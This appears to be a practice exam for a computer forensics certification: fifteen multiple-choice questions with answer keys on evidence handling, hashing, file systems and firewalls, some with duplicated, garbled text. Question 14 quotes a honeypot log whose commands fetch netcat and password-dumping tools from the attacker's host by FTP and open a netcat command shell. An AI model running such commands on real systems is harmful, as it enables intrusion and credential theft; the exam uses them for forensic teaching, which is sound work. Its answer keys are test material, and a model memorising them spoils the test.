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QUESTION 1

An attack vector is a path or means by which an attacker can gain access to computer or network resources in order to
deliver an attack payload or cause a malicious outcome. 

A. True 

B. False 

Correct Answer: A 

 

QUESTION 2

John is working as a computer forensics investigator for a consulting firm in Canada. He is called to seize a computer at
a local web caf?John is working as a computer forensics investigator for a consulting firm in Canada. He is called to
seize a computer at a local web caf purportedly used as a botnet server. John thoroughly scans the computer and finds
nothing that would lead him to think the computer was a botnet server. John decides to scan the virtual memory of the
computer to possibly find something he had missed. What information will the virtual memory scan produce? 

A. It contains the times and dates of when the system was last patched 

B. It is not necessary to scan the virtual memory of a computer 

C. It contains the times and dates of all the system files 

D. Hidden running processes 

Correct Answer: D 

 

QUESTION 3

An employee is attempting to wipe out data stored on a couple of compact discs (CDs) and digital video discs (DVDs)
by using a large magnet. You inform him that this method will not be effective in wiping out the data because CDs and
DVDs are _________ media used to store large amounts of data and are not affected by the magnet. 

A. Magnetic 

B. Optical 

C. Anti-Magnetic 

D. Logical 

Correct Answer: B 

 

QUESTION 4

You are working as an independent computer forensics investigator and receive a call from a systems administrator for
a local school system requesting your assistance. One of the students at the local high school is suspected of
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downloading inappropriate images from the Internet to a PC in the Computer Lab. When you arrive at the school, the
systems administrator hands you a hard drive and tells you that he made a implePC in the Computer Lab. When you
arrive at the school, the systems administrator hands you a hard drive and tells you that he made a ?imple backup
copy?of the hard drive in the PC and put it on this drive and requests that you examine the drive for evidence of the
suspected images. You inform him that a imple backup copy?will not provide deleted files or recover file fragments.
What type of copy do you need to make toYou inform him that a ?imple backup copy?will not provide deleted files or
recover file fragments. What type of copy do you need to make to ensure that the evidence found is complete and
admissible in future proceedings? 

A. Bit-stream copy 

B. Robust copy 

C. Full backup copy 

D. Incremental backup copy 

Correct Answer: A 

 

QUESTION 5

You are assisting a Department of Defense contract company to become compliant with the stringent security policies
set by the DoD. One such strict rule is that firewalls must only allow incoming connections that were first initiated by
internal computers. What type of firewall must you implement to abide by this policy? 

A. Packet filtering firewall 

B. Application-level proxy firewall 

C. Statefull firewall 

D. Circuit-level proxy firewall 

Correct Answer: C 

 

QUESTION 6

You are running through a series of tests on your network to check for any security vulnerabilities. After normal working
hours, you initiate a DoS attack against your external firewall. The firewall Quickly freezes up and becomes unusable.
You then initiate an FTP connection from an external IP into your internal network. The connection is successful even
though you have FTP blocked at the external firewall. What has happened? 

A. The firewall failed-open 

B. The firewall failed-closed 

C. The firewall ACL has been purged 

D. The firewall failed-bypass 

Correct Answer: A 
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QUESTION 7

Digital evidence validation involves using a hashing algorithm utility to create a binary or hexadecimal number that
represents the uniqueness of a data set, such as a disk drive or file. 

Which of the following hash algorithms produces a message digest that is 128 bits long? 

A. CRC-32 

B. MD5 

C. SHA-1 

D. SHA-512 

Correct Answer: B 

 

QUESTION 8

When marking evidence that has been collected with the aa/ddmmyy/nnnn/zz?format, what does the nnn?
denote?When marking evidence that has been collected with the ?aa/ddmmyy/nnnn/zz?format, what does the
?nnn?denote? 

A. The year the evidence was taken 

B. The sequence number for the parts of the same exhibit 

C. The initials of the forensics analyst 

D. The sequential number of the exhibits seized 

Correct Answer: D 

 

QUESTION 9

Which of the following is the certifying body of forensics labs that investigate criminal cases by analyzing evidence? 

A. The American Society of Crime Laboratory Directors (ASCLD) 

B. International Society of Forensics Laboratory (ISFL) 

C. The American Forensics Laboratory Society (AFLS) 

D. The American Forensics Laboratory for Computer Forensics (AFLCF) 

Correct Answer: A 

 

QUESTION 10

What file structure database would you expect to find on floppy disks? 
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A. NTFS 

B. FAT32 

C. FAT16 

D. FAT12 

Correct Answer: D 

 

QUESTION 11

The MD5 program is used to: 

A. wipe magnetic media before recycling it 

B. make directories on a evidence disk 

C. view graphics files on an evidence drive 

D. verify that a disk is not altered when you examine it 

Correct Answer: D 

 

QUESTION 12

In the context of file deletion process, which of the following statement holds true? 

A. When files are deleted, the data is overwritten and the cluster marked as available 

B. The longer a disk is in use, the less likely it is that deleted files will be overwritten 

C. While booting, the machine may create temporary files that can delete evidence 

D. Secure delete programs work by completely overwriting the file in one go 

Correct Answer: C 

 

QUESTION 13

How do you define forensic computing? 

A. It is the science of capturing, processing, and investigating data security incidents and making it acceptable to a court
of law. 

B. It is a methodology of guidelines that deals with the process of cyber investigation 

C. It Is a preliminary and mandatory course necessary to pursue and understand fundamental principles of ethical
hacking 

D. It is the administrative and legal proceeding in the process of forensic investigation 
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Correct Answer: A 

 

QUESTION 14

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks
from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in
arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually
succeeds in displaying boot.ini. 

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL
statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover
that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS
query which results in the commands run as shown below. 

"cmd1.exe /c open 213.116.251.162 >ftpcom" 

"cmd1.exe /c echo johna2k >>ftpcom" 

"cmd1.exe /c echo haxedj00 >>ftpcom" 

"cmd1.exe /c echo get nc.exe >>ftpcom" 

"cmd1.exe /c echo get pdump.exe >>ftpcom" 

"cmd1.exe /c echo get samdump.dll >>ftpcom" 

"cmd1.exe /c echo quit >>ftpcom" 

"cmd1.exe /c ftp -s:ftpcom" 

"cmd1.exe /c nc -l -p 6969 -e cmd1.exe" 

What can you infer from the exploit given? 

A. It is a local exploit where the attacker logs in using username johna2k 

B. There are two attackers on the system ?johna2k and haxedj00 

C. The attack is a remote exploit and the hacker downloads three files 

D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port 

Correct Answer: C 

 

QUESTION 15

Network forensics allows Investigators 10 inspect network traffic and logs to identify and locate the attack system 

Network forensics can reveal: (Select three answers) 

A. Source of security incidents\\' and network attacks 

B. Path of the attack 
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C. Intrusion techniques used by attackers 

D. Hardware configuration of the attacker\\'s system 

Correct Answer: ABC 
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